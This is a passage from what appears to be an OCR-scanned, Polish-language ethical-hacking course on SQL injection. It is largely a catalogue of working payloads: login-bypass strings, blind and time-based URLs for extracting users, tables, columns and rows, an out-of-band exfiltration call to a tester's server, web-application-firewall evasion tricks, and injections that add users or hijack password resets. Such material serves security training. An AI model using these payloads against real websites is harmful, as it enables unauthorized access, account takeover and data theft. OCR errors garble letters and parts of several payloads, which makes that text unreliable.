Uwaga: Podany powyzej przyktad jest mato prawdopodobny ze wzgledu na uzycie dynamicznego SQL
do logowania uzytkownika.

Rozwaz dynamiczne zapytanie raportowania, w ktdrym uzytkownik wybiera kolumny do wyswietlenia.
Uzytkownik mdgt w tym przypadku wstawic ztosliwy kod i narazi¢ dane na szwank.

Pomin logowanie do witryny za pomocg wstrzykiwania kodu SQL

Omijanie logowania do witryn internetowych to podstawowa i powszechna ztosliwa czynnos¢, ktérg
osoba atakujgca moze wykona¢ za pomoca iniekcji SQL. Jest to najtatwiejszy sposdb na wykorzystanie
luki aplikacji w postaci iniekcji SQL. Atakujgcy moze omingé¢ mechanizm logowania (mechanizm
uwierzytelniania) aplikacji poprzez wstrzykniecie ztosliwego kodu (w postaci polecenia SQL) do
dowolnego konta uzytkownika bez podawania nazwy uzytkownika i hasta. Atakujacy umieszcza
ztosliwy cigg SQL w formularzu logowania do strony internetowej, aby oming¢ mechanizm logowania
aplikacji. Atakujacy mogg w petni wykorzystaé luki SQL. Programisci tgczg ze sobg polecenia SQL i
parametry podane przez uzytkownika. Korzystajac z tej funkcji, osoba atakujgca wykonuje dowolne
zapytania i polecenia SQL na serwerze bazy danych zaplecza za posrednictwem aplikacji internetowe;.
Wyprdébuj je w formularzach logowania do witryn:

admin 1 --
admin 1 #
admin'/*
"or 1=1—
"or 1=1#

‘or 1=1/*



Yor'1'="1--

Nor('1'='1—

Zaloguj sie jako inny uzytkownik:

'1 UNION SELECT 1 'anotheruser', 'doesnt matter', 1--
Sprébuj oming¢ logowanie, unikajgc sprawdzania skrétu MD5:

Mozesz ,potaczy¢” wyniki ze znanym hastem i skrétem MD5 dostarczonego hasta. Aplikacja
internetowa poréwna twoje hasto i dostarczony skrét MD5 zamiast MD5 z bazy danych. Na przyktad:

Username : admin

Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin’,
'81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Wykonaj Blind SQL Injection — Exploitation (MySQL)

Wykorzystanie iniekcji SQL zalezy od jezyka uzywanego w SQL. Osoba atakujgca faczy dwa zapytania
SQL, aby uzyskaé wiecej danych. Atakujgcy probuje wykorzystac operatora UNION, aby uzyskac wiecej
informacji z bazy danych. Zastrzyki na slepo pomagajg atakujgcemu z tatwoscig oming¢ wiece;j filtrow.
Jedng z gtéwnych cech wyrdzniajgcych slepa iniekcje SQL jest to, ze odczytuje wpisy symbol po
symbolu.

Przyktad 1: Wyodrebnij pierwszy znak

Wyszukiwanie pierwszego znaku pierwszego wpisu w tabeli
/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0,1),1,1)
)=97,555,777)

Jesli tabela ,,users” zawiera kolumne ,,pass” i pierwszy znak pierwszego wpisu w tej kolumnie to 97
(litera ,,a”), wtedy DBMS zwrdéci PRAWDA; w przeciwnym razie FALSZ.

® Przyktad 2: Wyodrebnij drugi znak

Wyszukiwanie drugiego znaku pierwszego wpisu w tabeli
/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0,1),2,1)
)=97,555,777)

Jedli tabela ,users” zawiera kolumne ,,pass” i drugi znak pierwszego wpisu w tej kolumnie to jest 97
(litera ,,a”), wtedy DBMS zwréci PRAWDA; w przeciwnym razie FALSZ.

Blind SQL Injection — Wyodrebnij uzytkownika bazy danych

Za pomocg S$lepego wstrzykniecia SQL osoba atakujgca moze wyodrebni¢ nazwe uzytkownika bazy
danych. Osoba atakujgca moze sondowac serwer bazy danych za pomocg pytan typu tak/nie w celu
wydobycia informacji. Aby wyodrebni¢ nazwy uzytkownikéw bazy danych za pomocg Slepej iniekcji
SQL, osoba atakujgca najpierw prébuje okresli¢ liczbe znakéw w nazwie uzytkownika bazy danych.
Atakujacy, ktéremu uda sie poznac liczbe znakéw w nazwie uzytkownika, nastepnie prébuje znalezé w



niej kazdy znak. Znalezienie pierwszej litery nazwy uzytkownika za pomocg wyszukiwania binarnego
wymaga siedmiu zgdan; stad o$mioznakowa nazwa wymaga 56 zadan.

Przyktad 1: Sprawdz dtugos¢ nazwy uzytkownika
http://www.certifiedhacker.com/page.aspx?id=l; IF (LEN(USER)=1)
WAITFOR DELAY '00:00:10'—
http://www.certifiedhacker.com/page.aspx?id=I; IF (LEN(USER)=2)
WAITFOR DELAY '00:00:10'—
http://www.certifiedhacker.com/page.aspx?id=I; IF (LEN(USER)=3)
WAITFOR DELAY '00:00:10'—

Zwiekszaj wartos¢ LEN(USER), az DBMS zwréci TRUE.

Przyktad 2: Sprawdz, czy pierwszy znak w nazwie uzytkownika zawiera ,A7 (a=97), ,B” lub ,,C" itd.
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY
'00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=I;
IF(ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY
'00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY
'00:00:10'—

Przyktad 3: Sprawdz, czy drugi drugi znak w nazwie uzytkownika zawiera ,A” (a=97), ,B” lub ,,C" itd.
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASCII(lower(substring((USER),2,1)))=97) WAITFOR DELAY
'00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY
'00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((USER),2,1)))=99) WAITFOR DELAY
'00:00:10'—

Zwiekszaj wartos¢ ASClI(lower(substring((USER),2,1))), az powrdci DBMS zwréci TRUE.



Przyktad 4: Sprawdz, czy trzeci znak w nazwie uzytkownika zawiera , A” (a=97), ,,B” lub ,,C” itd.
NA.

http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((USER),3,1)))=97) WAITFOR DELAY

'00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASCII(lower(substring((USER),3,1)))=98) WAITFOR DELAY

'00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASCII(lower(substring((USER),3,1)))=99)WAITFOR DELAY

'00:00:10'—

Zwiekszaj wartos¢ ASClI(lower(substring((USER),3,1))), az DBMS zwrdci TRUE.
Blind SQL Injection — Wyodrebnij nazwe bazy danych

W przypadku Slepej iniekcji SQL osoba atakujgca moze wyodrebnié nazwe bazy danych za pomocg
opartej na czasie metody Slepej iniekcji SQL. Tutaj atakujacy moze zastosowaé brutalng site, aby
okresli¢c nazwe bazy danych na podstawie czasu przed wykonaniem zapytania i ustawi¢ czas po
wykonaniu zapytania. Nastepnie atakujacy moze wywnioskowaé z wyniku, ze jesli uptyw czasu wynosi
10 sekund, to nazwa to ,A”; w przeciwnym razie, jesli wynosi 2 sekundy, nie moze to by¢ ,,A”. Podobnie
osoba atakujgca poznaje nazwe bazy danych powigzang z docelowg aplikacjg internetowa.

Przyktad 1: Sprawdz dtugos¢ i nazwe bazy danych
http://www.certifiedhacker.com/page.aspx?id=I; IF (LEN(DB_NAME())=4)
WAITFOR DELAY '00:00:10'—
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((DB_NAME()),1,1)))=97) WAITFOR DELAY
'00:00:10'--

http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((DB_NAME()),2,1)))=98) WAITFOR DELAY
'00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASCII(lower(substring((DB_NAME()),3,1)))=99) WAITFOR DELAY
'00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l;

IF(ASCII(lower(substring((DB_NAME()),4,1)))=100) WAITFOR DELAY



'00:00:10'--

Nazwa bazy danych = ABCD (biorac pod uwage, ze baza danych zwrdcita wartos¢ true dla powyzszej
instrukcji)

Przyktad 2: Wyodrebnij pierwszg tabele bazy danych
http://www.certifiedhacker.com/page.aspx?id=I; IF (LEN(SELECT TOP 1
NAME from sysobjects where xtype='U')=3) WAITFOR DELAY '00:00:10'--
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)),1,1)))=101) WAITFOR DELAY '00:00:10'--
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)),2,1)))=109) WAITFOR DELAY '00:00:10'—
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)),3,1)))=112) WAITFOR DELAY '00:00:10'—

Nazwa tabeli = EMP (biorgc pod uwage, ze baza danych zwrdcita wartosé true dla powyzszej instrukcji).
Blind SQL Injection — Wyodrebnij nazwe kolumny

Postepujac zgodnie z tg sama procedurg, co omdéwiona powyzej, osoba atakujgca moze wyodrebnié
nazwe kolumny za pomocg opartej na czasie metody slepego wstrzykiwania SQL.

Przyktad 1: Wyodrebnij nazwe pierwszej kolumny tabeli
http://www.certifiedhacker.com/page.aspx?id=I; IF (LEN(SELECT TOP 1
column_name from ABCD.information_schema.columns where
table_name='EMP')=3) WAITFOR DELAY
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASCII(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP'),1,1)))=101)
WAITFOR DELAY '00:00:10'—
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((SELECT TOP 1 column__name from
ABCD.information_schema.columns where table_name='EMP'),2,1)))=105)
WAITFOR DELAY '00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l;



IF(ASClI(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP'),3,1)))=100)

WAITFOR DELAY '00:00:10'—

Nazwa kolumny = EID (biorgc pod uwage, ze baza danych zwrdcita wartos¢ true dla powyzszego
oswiadczenie).

Przyktad 2: Wyodrebnij nazwe drugiej kolumny tabeli

http://www.certifiedhacker.com/page.aspx?id=I; IF (LEN(SELECT TOP 1 column name from
ABCD.information schema.columns where table name='EMP' and column name>'EID')=4) WAITFOR
DELAY '00:00:10'-

http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP' and
column_name>'EID'),1,1)))=100) WAITFOR DELAY '00:00:10'--
http://www.certifiedhacker.com/page.aspx?id=I;
IF(ASCII(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP' and
column_name>'EID"),2,1)))=101) WAITFOR DELAY '00:00:10'--
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP' and
column_name>'EID"),3,1)))=112) WAITFOR DELAY '00:00:10'--
http://www.certifiedhacker.com/page.aspx?id=l;
IF(ASClI(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP' and
column name>'EID'),4,1)))=116) WAITFOR DELAY '00:00:10'--

Nazwa kolumny = DEPT (bioragc pod uwage, ze baza danych zwrdcita wartos$¢ true dla powyiszej
instrukcji).

Blind SQL Injection — wyodrebnianie danych z wierszy

Postepujac zgodnie z tg samg procedurg, co omdéwiona powyzej, osoba atakujgca moze wyodrebnic
dane z wierszy za pomocg opartej na czasie metody slepego wstrzykiwania SQL.

Przyktad 1: Wyodrebnij 1. pole z 1. rzedu

http://www.certifiedhacker.com/page.aspx?id=I; IF (LEN(SELECT TOP 1



EID from EMP)=3) WAITFOR DELAY '00:00:10'—
http://www.certifiedhacker.com/page.aspx?id=I; IF
(ASClI(substring((SELECT TOP 1 EID from EMP),1,1))=106) WAITFOR
DELAY '00:00:10'—
http://www.certifiedhacker.com/page.aspx?id=l; IF
(ASClI(substring((SELECT TOP 1 EID from EMP),2,1))=111) WAITFOR
DELAY '00:00:10'—
http://www.certifiedhacker.com/page.aspx?id=l; IF
(ASCIlI(substring((SELECT TOP 1 EID from EMP),3,1))=101) WAITFOR
DELAY '00:00:10'—

Dane pola = JOE (biorgc pod uwage, ze baza danych zwrécita warto$¢ true dla powyiszego
stwierdzenia)

Przyktad 2: Wyodrebnij drugie pole z pierwszego rzedu
http://www.certifiedhacker.com/page.aspx?id=I; IF (LEN(SELECT TOP 1
DEPT from EMP)=4) WAITFOR DELAY '00:00:10'—
http://www.certifiedhacker.com/page.aspx?id=l; IF
(ASClI(substring((SELECT TOP 1 DEPT from EMP),1,1))=100) WAITFOR
DELAY '00:00:10'--

http://www.certifiedhacker.com/page.aspx?id=l; IF
(ASClI(substring((SELECT TOP 1 DEPT from EMP),2,1))=111) WAITFOR
DELAY 00:00:10'-

http://www.certifiedhacker.com/page.aspx?id=l; IF
(ASClI(substring((SELECT TOP 1 DEPT from EMP),3,1))=109) WAITFOR
DELAY 00:00:10'-

http://www.certifiedhacker.com/page.aspx?id=l; IF
(ASClI(substring((SELECT TOP 1 DEPT from EMP),3,1))=112) WAITFOR
DELAY '00:00:10'—

Dane pola = COMP (bioragc pod uwage, ze baza danych zwrdcita wartos$¢ true dla powyzszej instrukgji).
Wykonaj podwadjnie $lep3 iniekcje SQL — klasyczna eksploatacja (MySQL)

Podwadjnie slepe wstrzykniecie SQL jest rdwniez nazywane iniekcja SQL opartg na czasie. W podwadjnie
Slepej iniekcji SQL osoba atakujgca wstawia opdznienia w przetwarzaniu zapytan SQL w celu
wyszukania znakéw w uzytkownikach bazy danych, nazwie bazy danych, nazwie kolumny, danych



wiersza i tak dalej. Jezeli zapytanie z opdznieniem czasowym wykona sie natychmiast, to warunek
wstawiony w zapytaniu jest fatszywy. Jesli zapytanie jest wykonywane z pewnym opdznieniem,
warunek wstawiony w zapytaniu jest prawdziwy. W tej technice iniekcji SQL wpisy sg odczytywane
symbol po symbolu. W przeciwienstwie do innych technik slepego wstrzykiwania SQL, ta technika nie
wykorzystuje klauzuli UNION ani zadnej innej techniki we wstawianym zapytaniu. Eksploatacja
podwaijnie Slepej iniekcji SQL polega na analizie opdznienia czasowego. Eksploatacja rozpoczyna sie od
wystania zapytania z opdznieniem czasowym do aplikacji internetowej i uzyskania odpowiedzi. W
typowym podwdjnie Slepym ataku iniekcyjnym do przetwarzania opdznied czasowych
wykorzystywane sg funkcje benchmark () i sleep ( ).

Ponizej przedstawiono klasyczng implementacje podwdjnie Slepej iniekcji SQL.
/?id=I+AND+if((ascii(lower(substring((select password from user limit
0,1),0,1))))=97,1,benchmark(2000000,md5(now())))

Mozemy przypuszcza, ze postal zostata odgadnieta poprawnie na podstawie czasu opdznienia
odpowiedzi serwera WWW

Manipulowanie wartosciag 2000000: mozemy osiggngé akceptowalng wydajnos¢ dla konkretnej
aplikacji

Funkcja sleep() jest odpowiednikiem testu poréwnawczego funkcji!). Funkcja sleep!) jest w danym
kontekscie bezpieczniejsza, poniewaz nie wykorzystuje zasobéw serwera

Wykonywanie Slepego wstrzykiwania kodu SQL przy uzyciu techniki wykorzystywania poza pasmem

Technika wykorzystania poza pasmem jest przydatna, gdy tester napotyka sytuacje $lepej iniekcji SQL.
Wykorzystuje funkcje DBMS do wykonania potgczenia poza pasmem i dostarczenia wynikéw
wstrzyknietego zapytania w ramach zgdania do serwera testera.

Uwaga: Kazdy DBMS ma swoje wtasne funkcje; sprawdz okreslong sekcje DBMS.
Rozwaz nastepujgce zapytanie SQL:

SELECT * FROM products WHERE id_product=$id_product

Rozwaz zgdanie skierowane do skryptu, ktéry wykonuje powyzszg kwerende:
http://www.example.com/product.php?id=10

Ztosliwe zgdanie brzmiatoby:

http://www.example.com/product.php?id=10| |UTL_HTTP.request('testerserver.com:80') | | (SELECT
user FROM DUAL)-

We wspomnianym przyktadzie tester tgczy wartos¢ 10 z wynikiem funkcji UTL_HTTP.request

Ta funkcja Oracle prébuje potaczyc¢ sie z , testerserver” i wykonaé zagdanie HTTP GET zawierajacy zwrot
z zapytania "SELECT user FROM DUAL"

Tester moze skonfigurowac serwer WWW (np. Apache) lub skorzystac¢ z narzedzia Netcat
/home/tester/nc -nLp 80

GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close



Wykorzystanie iniekcji SQL drugiego rzedu

Wstrzykniecie SQL drugiego rzedu mozna wykona¢, gdy aplikacja wykorzystuje przestane dane do
wykonywania réznych funkcji aplikacji. Aby wykonaé tego typu wstrzykniecie kodu SQL, osoba
atakujgca musi wiedzie¢, w jaki sposdb przestane wartosci sg pdzniej wykorzystywane w aplikacji. Atak
ten jest mozliwy nawet wtedy, gdy aplikacja internetowa wykorzystuje technike ucieczki danych
wyjsciowych w celu zaakceptowania danych wejsciowych od uzytkownikéw. Atakujgcy wysyta ztosliwg
kwerende z zadanym zapytaniem, ale nie powoduje zadnych szkédd w aplikacji, poniewaz dane
wyjsciowe sg pomijane. Zapytanie to zostanie zapisane w bazie danych w ramach funkcjonalnosci
aplikacji. Pdzniej, gdy inna funkcja aplikacji uzyje tego samego zapytania przechowywanego w bazie
danych do wykonania innej operacji, ztosliwe zapytanie zostanie wykonane, umozliwiajgc atakujgcemu
wykonanie atakéw typu SQL injection na aplikacje. Wstrzykniecie SQL drugiego rzedu ma miejsce, gdy
dane wejsciowe sg przechowywane w bazie danych i uzywane do przetwarzania innego zapytania SQL
bez sprawdzania poprawnosci lub bez uzycia zapytan parametrycznych. Za pomocy iniekcji SQL
drugiego rzedu, w zaleznosci od bazy danych zaplecza, ustawien potaczenia z bazg danych i systemu
operacyjnego, osoba atakujgca moze:

Czyta¢, aktualizowac i usuwac dowolne dane lub dowolne tabele z bazy danych

Wykonywac polecenia w bazowym systemie operacyjnym

Sekwencja dziatan wykonywanych w ataku typu SQL injection drugiego rzedu jest nastepujaca:
Osoba atakujgca przesyta spreparowane dane wejsciowe w zadaniu HTTP

Aplikacja zapisuje dane wejsciowe w bazie danych, aby wykorzystac¢ je pdzniej i udziela odpowiedzi na
zadanie HTTP

Teraz atakujacy przesyta kolejne zgdanie

Aplikacja internetowa przetwarza drugie zgdanie, korzystajac z pierwszego wejscia zapisanego w pliku
bazy danych i wykonuje zapytanie SQL injection

Wyniki zapytania w odpowiedzi na drugie zgdanie sg zwracane atakujgcemu, jesli dotyczy
Omin zapore ogniowa za pomocg wstrzykiwania SQL

Powaznym zagrozeniem jest ominiecie WAF przy uzyciu luki w iniekcji SQL, poniewaz jest w stanie
pobrac catg baze danych z serwera.

Atakujgcy uzywajg nastepujgcych metod, aby omingé WAF.
Metoda normalizacji

Systematyczna reprezentacja bazy danych w procesie normalizacji czasami prowadzi do ataku typu SQL
injection. Jesli atakujacy jest w stanie wykry¢ jakakolwiek luke w zaleznosciach funkcjonalnych,
woéwczas atakujacy zmienia strukture zapytania SQL, aby przeprowadzi¢ atak. Na przyktad, jesli
zapytanie SQL jest w nastepujgcym formacie, osoba atakujgca nie moze wykona¢ ataku typu SQL
injection w celu ominiecia WAF:

/?id=l+union+select+l,2,3/*

Niewtasciwa konfiguracja WAF moze prowadzi¢ do luk w zabezpieczeniach; w takich przypadkach
osoba atakujgca moze wstrzyknac ztosliwe zapytanie w nastepujacy sposdb:

/?id=l/*union*/union/*select*/select+l,2,3/*



Gdy WAF przetworzy ztosliwg kwerende, zgdanie przyjmuje nastepujgcy postac:
SELECT * FROM TABLE WHERE ID =1 UNION SELECT 1,2,3—
Technika HPP

Zanieczyszczenie parametrami FITTP (HPP) to tatwa i skuteczna technika, ktéra wptywa zaréwno na
serwer, jak i na klienta, umozliwiajgc nadpisywanie lub dodawanie parametréw HTTP GET/POST
poprzez wstrzykiwanie znakdéw ograniczajgcych w ciggach zapytan. Na przyktad, jesli WAF chroni
jakgkolwiek witryne internetowg, nastepujace zgdanie nie pozwala atakujgcemu na wykonanie ataku:

/?id=1;select+1,2,3+from+users+where+id=1--

Atakujacy bedzie mdégt omingé WAF, stosujac technike HPP do powyzszego zapytania:
/?id=1;select+1&id=2,3+from+users+where+id=1--

Technika HPF

Fragmentacja parametréw HTTP (HPF) jest zasadniczo uzywana z myslg o omijaniu filtrow
bezpieczenstwa, poniewaz jest w stanie bezposrednio obstugiwaé¢ dane HTTP. Ta technika moze by¢
uzywana wraz z HPP przy uzyciu operatora UNION w celu ominiecia zapér ogniowych. Wezmy na
przyktad podatny na ataki kod podany ponizej.

Query("select * from table where a=".S_GET['a']." and

b=".5 GET['b']);

Query("select * from table where a=".S_GET[1a 1 ]e" and

b=".S_GET['b']); limit".S_GET['c']);

Ponizsze zapytanie jest uzywane przez WAF do blokowania atakéw na wspomniany wrazliwy kod:
/?a=l+union+select+l,2/*

Aby oming¢ WAF, atakujacy uzyje techniki HPF i zrekonstruuje powyzsze zapytanie:
/?a=1l+union/*&b=*/select+1,2

/?a=1+union/*&b=*/select*1,pass/*&c=*/ from+users—

W takim scenariuszu przeksztatcone zapytanie SQL jest podane ponizej:

SELECT * FROM TABLE WHERE a=I UNION/* AND b=*/SELECT 1,2

SELECT * FROM TABLE WHERE a=| UNION/* AND b=*/SELECT I,pass/* LIMIT
*/FROM USERS—

Slepa iniekcja SQL

Atak typu blind SQL injection jest jednym z najtatwiejszych sposobdw wykorzystania luki, poniewaz
zastepuje sygnatury WAF ich synonimami za pomocg funkcji SQL. Nastepujgce zgdania umozliwiajg
atakujacemu wykonanie ataku typu SQL injection i ominiecie zapory. Zadania logiczne I/LUB:

0 /?id=1+0R+0x50=0x50

O /?id=1l+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)



))=74

Negacja, znaki nierdwnosci i prosba logiczna
and 1

and 1=1

and 2<3

and ‘@’ =@’

and 'a'<>'b’

and 3<=2

Obejscie podpisu

Osoba atakujgca moze przeksztatci¢ sygnature zapytan SQL w taki sposéb, ze zapora nie moze ich
wykry¢, co prowadzi do ztosliwych wynikdw. Atakujgcy uzyskujg sygnatury uzywane przez zapore
ogniowg za pomocga nastepujacego zgdania:

/?id=1+union+(select+1,2+from+users)

Po uzyskaniu podpisu atakujgcy wykorzystuje zdobyty podpis, aby omingé
WAF w nastepujacy sposob:

O /?id=l+union+(select+'xz'from+xxx)

O /?id=(1)union(select(1),mid(hash,1,32)from(users))

O /?id=l+union+(select'1',concat(login,hash)from-+users)

O /?id=(1)union(((((((select(1),hex(hash)from(users))))))))

O /?id=xx(1)or(0x50=0x50)

Metoda przepetnienia bufora

Atakujacy moze uzy¢ metody przepetnienia bufora, aby zawiesi¢ i oming¢ zapore. Poniewaz wiekszos¢
zapor ogniowych jest tworzonych w jezyku C/C++, atakujgcemu tatwo jest omingé zapore ogniowa.
Rozwazmy na przyktad nastepujgcy adres URL, na ktédrym osoba atakujgca prébuje wykonac atak typu
SQL injection, aby oming¢ WAF:

http:// www.certifiedhacker.com//index.php?page_id=15+and+(select

[)=(Select OxAA[..(add about 1200

"A")..])+/*!luNIOn*/+/*1SeLECt*/+],2,3,4....

Osoba atakujgca moze uzy¢ nastepujgcego zapytania, aby sprawdzié, czy zapora moze ulec awarii:
?page_id=null%0A/**//*150000%55n10n*//*yoyu*/all/** /%0A/*1%53eLEct*/%0A/*nnaa*/+1,2,3,4...

Jesli atakujgcy otrzyma komunikat o btedzie 500 jako odpowiedz, moze tatwo oming¢ zapore ogniowa
przy uzyciu metody przepetnienia bufora.

Technika CRLF



Powrot karetki, nowy wiersz (CRLF) to para kodéw ASCII, 13 i 10. W systemie Windows CRLF jest
uzywany do wskazania korica wiersza w pliku tekstowym (\r\n). Macintosh uzywa tylko CR (\r), a UNIX
uzywa tylko LF(\n).

Atakujacy moze uzy¢ techniki CRLF, aby oming¢ zapore. Na przyktad atakujacy uzywa nastepujgcego
adresu URL, aby oming¢ WAF:

http://www.certifiedhacker.com/info.php?id=l+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+I,2,
3,4,5—

Metoda integracji

Metoda integracji obejmuje jednoczesne stosowanie réznych technik omijania w celu zwiekszenia
szans na ominiecie zapory, gdy pojedyncza metoda lub technologia nie jest do tego wystarczajaca.
Atakujgcy moze uzy¢ razem nastepujgcych zapytan, aby omingc zapore:

www.certifiedhacker.com/index.php?page_id=21+and+(select 1)=(Select

OxAA[..(add about 1200 "A")..])+/*!uNIOn*/+/*1SeLECt*/+],2,3,4,5...
id=10/*!UnloN*/+SelLeCT+l,2,concat(/*!table_name*/)+FrOM
/*information_schema*/.tables /*(WHERE

*/+/*1TaBIE_ScHeMa*/+like+database()—
?id=766+/*UNION*/+/*ISELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FRO
M+/*INFORMATION_SCHEMA*/.COLUMNS+WHERE+TABLE_ NAME=0x5573657273 —
Wykonaj wstrzykniecie SQL, aby wstawié¢ nowego uzytkownika i zaktualizowac hasto
Wstawianie nowego uzytkownika za pomoca SQL Injection

Jesli atakujgcy moze poznaé strukture tabeli uzytkownikow w bazie danych, moze podjgé prdobe
wstawienia do tej tabeli danych nowego uzytkownika. Gdy atakujgcemu uda sie doda¢ nowe dane
uzytkownika, moze bezposrednio uzy¢ nowych poswiadczen uzytkownika do zalogowania sie do
aplikacji internetowej. Na przyktad osoba atakujgca moze wykorzystaé nastepujgce zapytanie:

SELECT * FROM Users WHERE Email_ID = 'Alice@xyz.com'

Po wstrzyknieciu instrukcji INSERT do powyzszego zapytania,

SELECT * FROM Users WHERE Email_ID = 'Alicegxyz.com'; INSERT INTO
Users (Email_ID, User_Name, Password) VALUES
('ClarkQmymail.com’,' Clark','MyPassword');--";

Uwaga: atakujgcy moze wykonad ten atak tylko wtedy, gdy ofiara ma wtaczone uprawnienie INSERT
tabeli uzytkownikéw. Jesli tabela uzytkownikdw ma zaleznosci, osoba atakujgca nie moze dodac
nowego uzytkownika do bazy danych.

Aktualizacja hasta za pomoca SQL Injection

Wiele aplikacji internetowych uzywa loginu, ktéry wymaga nazwy uzytkownika i hasta, aby zapewnié
uzytkownikom dostep do ustug Swiadczonych przez organizacje. Czasami uzytkownicy zapominajg
swoich haset. Aby rozwigzac ten problem, programisci udostepniajg funkcje Zapomniatem hasta, ktéra



dostarcza zapomniane hasto lub nowe hasto na zarejestrowany adres e-mail uzytkownika (adres
podany przez uzytkownika podczas pierwotnej rejestracji w witrynie). Osoba atakujgca moze
wykorzystac te funkcje, prébujac osadzi¢ ztosliwe dane wejsciowe specyficzne dla jezyka SQL, ktére
moga zaktualizowa¢ adres e-mail uzytkownika o adres e-mail osoby atakujgcej. Jesli to sie powiedzie,
zapomniane lub nowe hasto zostanie wystane na adres e-mail atakujgcego. Atakujgcy uzywa polecenia
UPDATE SQL w celu zastgpienia adresu e-mail uzytkownika w bazie danych aplikacji. Na przyktad, jesli
osoba atakujaca jest w stanie dowiedziec sig, ze istnieje uzytkownik o adresie e-mail ,,Alice@xyz.com”,
moze ZAKTUALIZOWAC adres e-mail na adres osoby atakujacej. Osoba atakujgca wstrzykuje instrukcje
UPDATE do nastepujacego zapytania:

SELECT * FROM Users WHERE Email_ID = 'Alice@xyz.com'

Po wstrzyknieciu instrukcji UPDATE do powyzszego zapytania,

SELECT * FROM Users WHERE Email_ID = 'Alicegxyz.com'; UPDATE Users
SET Email_ID = 'Clark@mymail.com' WHERE Email_ID ='Alice@xyz.com’;

Wynikiem wykonania powyzszego zapytania jest aktualizacja tabeli uzytkownikéw poprzez zmiane
adresu e-mail ,Alice@xyz.com” na ,,Clark@mymail.com”. Teraz atakujacy otwiera strone logowania do
aplikacji internetowej w przegladarce i klika przycisk ,Zapomniates hasta?” potaczy¢. Nastepnie
aplikacja internetowa wysyta wiadomos¢ e-mail na adres e-mail osoby atakujgcej w celu zresetowania
hasta Alicji. Osoba atakujgca resetuje teraz hasto Alicji, uzywa jej poswiadczen do logowania sie do
aplikacji internetowej i wykonuje ztosliwe dziatania w jej imieniu.

Eksportowanie wartosci za pomocg ataku wyrazenia regularnego

Osoba atakujgca wykonuje wstrzykniecie kodu SQL przy uzyciu wyrazen regularnych w znanej tabeli,
aby pozna¢ wartosci poufnych informacji, takich jak hasta. Na przyktad, jesli osoba atakujgca wie, ze
aplikacja internetowa przechowuje dane jej uzytkownikdow w tabeli o nazwie Userinfo, moze
przeprowadzi¢ atak z uzyciem wyrazenia regularnego w nastepujacy sposob, aby ustalié¢ hasta: Ogélnie
rzecz biorgc, bazy danych przechowujg zaszyfrowane hasta wygenerowane z MD5 lub SHA- 1
algorytmy. Haszowane hasta zawierajg tylko wartosci [a-fO-9].

Eksportowanie wartosci w MySQL

W MySQL osoba atakujgca uzywa nastepujgcej metody w celu zidentyfikowania pierwszego znaku
hasta:

Sprawdz, czy pierwszy znak w hasle znajduje sie miedzy ,a"” a ,f”’
index.php?id=2 and 1=(SELECT 1 FROM UserInfo GDZIE Hasto REGEXP ‘*[a-f]' AND ID=2)

Jesli powyzsze zapytanie zwréci PRAWDA, sprawdz, czy pierwszym znakiem w hasle jest miedzy ,a” i

”

IIC
index.php?id=2 and 1=(SELECT 1 FROM Userlnfo WHERE Password REGEXP '» [a-c]' AND ID=2)

Jesli powyzsze zapytanie zwrdci FALSZ, osoba atakujgca wnioskuje, ze pierwszy znak jest pomiedzy ,,d”
i ”f”

Sprawdz, czy pierwszy znak w hasle znajduje sie miedzy ,d” a ,f’

index.php?id=2 and 1=(SELECT 1 FROM UserInfo WHERE Password REGEXP 'A[d-f]' AND ID=2)



Jesli wynikiem powyzszego zapytania jest PRAWDA, sprawdz, czy pierwszy znak hasta znajduje sie
miedzy ,d” a ,e”

index.php?id=2 and 1=(SELECT 1 FROM Userinfo WHERE Password REGEXP
'A [d-e]' AND ID=2)

Jesli wynikiem zapytania jest PRAWDA, atakujgcy sprawdza ,,d” lub ,e”.
